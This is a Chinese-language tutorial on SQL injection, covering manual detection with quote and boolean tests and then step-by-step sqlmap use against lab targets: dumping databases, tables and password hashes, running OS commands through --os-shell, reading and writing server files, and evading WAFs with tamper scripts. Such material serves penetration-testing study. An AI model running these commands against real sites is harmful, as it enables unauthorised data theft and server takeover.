目录
4.–referer:HTTP Referer头。(当–level参数设定为3或以上时,会尝试对referer注入)
6.–os-cmd,–os-shell:运行任意操作系统命令
8.–file-write–file-dest:上传文件到数据库服务器中
前言:手工如何判断存在SQL注入
最为经典的单引号判断法: 在参数后面加上单引号,比如:
http://xxx/abc.php?id=1'
如果页面返回错误,则存在 Sql 注入。 原因是无论字符型还是整型都会因为单引号个数不匹配而报错。
通常 Sql 注入漏洞分为 2 种类型:数字型和字符型(根据变量类型分类)
数字型判断:
当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下: select * from where id = x 这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:
Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。
原理:
当输入 and 1=1时,后台执行 Sql 语句:
select * from where id = x and 1=1
没有语法错误且逻辑判断为正确,所以返回正常。
当输入 and 1=2时,后台执行 Sql 语句:
select * from where id = x and 1=2
没有语法错误但是逻辑判断为假,所以返回错误。 再假设法:如果这是字符型注入的话,我们输入以上语句之后应该出现如下情况:
select * from where id = 'x and 1=1'
select * from where id = 'x and 1=2'
查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的。
字符型判断:
当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下: select * from where id = 'x' 这种类型我们同样可以使用 and '1'='1 和 and '1'='2来判断:
Url 地址中输入 http://xxx/abc.php?id= x' and '1'='1 页面运行正常,继续进行下一步。
Url 地址中继续输入 http://xxx/abc.php?id= x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。同理
SQL注入攻击的总体思路
1:寻找到SQL注入的位置
2:判断服务器类型和后台数据库类型
3:针对不同的服务器和数据库特点进行SQL注入攻击
SQLMap 一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL 注入漏洞,内置了很多绕过插件
SQLMap支持五种不同的注入模式
1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。
sqlmap支持的数据库有
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB
运行sqlmap
打开cmd
跳转到sqlmap目录
dir查看文件夹内容
发现有一个sqlmap.py
用python 运行
python sqlmap.py
sqlmap简易操作命令
sqlmap --version 查看sqlmap版本信息.
-h 查看功能参数(常用的)
-hh 查看高级帮助信息
-v 显示更详细的信息 一共7级, 从0-6.默认为1, 数值越大,信息显示越详细.
Target(指定目标):
-d 直接连接数据库侦听端口,类似于把自己当一个客户端来连接.
-u 指定url扫描,但url必须存在查询参数. 例: xxx.php?id=1
-l 指定logfile文件进行扫描,可以结合burp 把访问的记录保存成一个log文件, sqlmap可以直接加载burp保存到log文件进行扫描
-x 以xml的形式提交一个站点地图给sqlmap(表示不理解…)
-m 如果有多个url地址,可以把多个url保存成一个文本文件 -m可以加载文本文件逐个扫描
-r 把http的请求头,body保存成一个文件 统一提交给sqlmap,sqlmap会读取内容进行拼接请求体
-g 利用谷歌搜索引擎搭配正则来过滤你想要的
-c 加载配置文件,配置文件可以指定扫描目标,扫描方式,扫描内容等等.加载了配置文件sqlmap就会根据文件内容进行特定的扫描
利用sqlmap具体大致的流程
1.首先判断是否存在注入:
get注入:
python sqlmap.py -u http://192.168.184.130/sqlilabs/Less-1/?id=1
当注入点后面的参数大于等于两个时,需要用双引号将url括起来。一个参数也可以双引号括起来
sqlmap.py -u "http://127.0.0.1/?id=1&uid=2"
post注入:
post接受的数据在数据包中,如果是数据包之中的注入(比如cookie注入、referer注入、ua头注入等)的话,我们可以先利用burp抓包,然后把数据保存到桌面上,利用-r参数对数据包进行探针
python sqlmap.py -r desktop/1.txt
存在下面的页面就代表有注入漏洞
2.判断是否为root用户
sqlmap.py -u "url" --is-dba
true就代表是,false就代表不是。如果是最高权限的话,我们可以进行文件下载,文件上传等等的操作,不是的话就爆库爆表。
3.查询当前用户下的所有数据库
sqlmap.py -u url --dbs
继续下一步的话,也就是爆表,需要将–dbs改为-D xxx,这里的xxx是你选中的数据库名。
4.获取数据库中的表名
sqlmap.py -u url -D xxx --tables
在进行下一步爆字段,需要将–tables改为-T xxx。
5.获取表中字段名
sqlmap.py -u url -D xxx -T xxx --columns
查询字段内容,需要将–columns改为-C xxx。
6.获取字段内容
sqlmap.py -u url -D xxx -T xxx --C xxx --dump
到这里就把数据库里面的内容爆出来了。
其他命令
1.获取数据库中的所有用户
sqlmap.py -u url --users
2.获取数据库用户的密码
sqlmap.py -u url --passwords
3.获取当前网站数据库的名称
sqlmap.py -u url --current-db
4.获取当前网站数据库的用户名称
sqlmap.py -u url --current-user
补充知识:
1.–level 5:探测等级
一共有5个等级(1-5) 不加 level 时,默认是1
5级包含的payload最多,会自动破解出cookie、XFF等头部注入,相对应他的速度也比较慢。
level=2 http cookie会测试
level=3 http user-agent/referer头会测试
在不能确定哪个payload或参数为注入点时,建议使用高的level值
2.–roles:列出数据库管理员角色
该命令仅使用于Oracle数据库,是用于查询当前数据库用户的角色,前提是有权限。
3.–is-dba:当前用户是否为管理权限
该命令用于查询当前账户是否为数据库管理员用户,是就会返回true,反之则是false。
4.–referer:HTTP Referer头。(当–level参数设定为3或以上时,会尝试对referer注入)
可以使用referer命令来进行欺骗,如–referer http://www.baidu.com。那么在进行注入的时候来源就会变成百度
5.–sql-shell:运行自定义SQL语句
这里会发现它会让我们自己输入sql语句去执行,并且完成之后还可以继续输入,exit才退出
6.–os-cmd,–os-shell:运行任意操作系统命令
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --os-cmd=whoami
使用“–os-cmd=whoami”命令来尝试是否可以直接执行命令,执行命令后,需要选择网站脚本语言和路径
7.–file-read:从数据库服务器中读取文件
该命令用于读取执行文件,读取的文件可以是文本,也可以是二进制文件,前提是有权限使用特定的函数且数据库为MySQL、PostgreSQL或Microsoft SQL Server。
8.–file-write–file-dest:上传文件到数据库服务器中
该命令用于写入本地文件到服务器中。前提条件和–file-read一样。
sqlmap自带绕过脚本tamper
sqlmap在默认情况下除了使用CHAR()函数防止出现单引号,没有对注入的数据进行修改。–tamper参数对数据做修改来绕过WAF等设备,其中大部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过WAF的检测规则。命令如下所示:
sqlmap.py XXX --tamper "模块名"
目前官方提供53个绕过脚本。另外可以使用参数–identify-waf进行检测是否有安全防护(WAF/IDS/IPS)。